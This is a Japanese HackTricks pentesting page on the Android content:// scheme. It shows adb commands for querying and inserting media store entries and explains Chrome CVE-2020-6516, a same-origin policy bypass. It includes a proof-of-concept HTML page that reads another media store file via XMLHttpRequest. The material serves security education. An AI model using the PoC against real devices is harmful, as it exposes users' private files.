content:// protocol

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

これはhttps://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/の投稿の要約です

メディアストア内のファイルのリスト表示

メディアストアで管理されているファイルのリストを表示するには、以下のコマンドを使用できます:

$ content query --uri content://media/external/file

より人間にやさしい出力のために、インデックスされた各ファイルの識別子とパスのみを表示します:

$ content query --uri content://media/external/file --projection _id,_data

コンテンツプロバイダー

コンテンツプロバイダーは独自のプライベート名前空間で分離されています。プロバイダーへのアクセスには特定の content:// URI が必要です。プロバイダーへのアクセスパスに関する情報は、アプリケーションのマニフェストまたはAndroidフレームワークのソースコードから取得できます。

Chrome によるコンテンツプロバイダーへのアクセス

Android 上の Chrome は content:// スキームを介してコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後 Chrome を介してアクセスすることができます:

メディアストアにカスタムエントリを挿入します:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

新しく挿入されたファイルの識別子を見つける:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

ファイルは、ファイルの識別子を使用して構築されたURLを使用してChromeで表示できます。

たとえば、特定のアプリケーションに関連するファイルをリストするには:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: 同一オリジンポリシーのバイパス

Same Origin Policy(SOP)は、ブラウザーのセキュリティプロトコルであり、異なるオリジンのリソースとのやり取りを明示的に許可されていない限り、Webページがそれらとやり取りすることを制限します。これにより、情報の漏洩やクロスサイトリクエストフォージェリーが防止されます。Chromeはcontent://をローカルスキームと見なし、各ローカルスキームURLを別々のオリジンとして扱います。

しかし、CVE-2020-6516は、Chromeの脆弱性であり、content:// URL経由で読み込まれたリソースに対するSOPルールのバイパスを許可していました。実際、content:// URLからのJavaScriptコードは、content:// URL経由で読み込まれた他のリソースにアクセスできるようになりました。これは、特にAndroid 10より前のバージョンを実行しているAndroidデバイスでは、スコープ付きストレージが実装されていないため、重大なセキュリティ上の懸念でした。

以下の概念実証は、この脆弱性を示しています。HTMLドキュメントは、/sdcardにアップロードされ、メディアストアに追加された後、そのJavaScript内でXMLHttpRequestを使用して、メディアストア内の別のファイルの内容にアクセスして表示します。これにより、SOPルールがバイパスされます。

概念実証HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated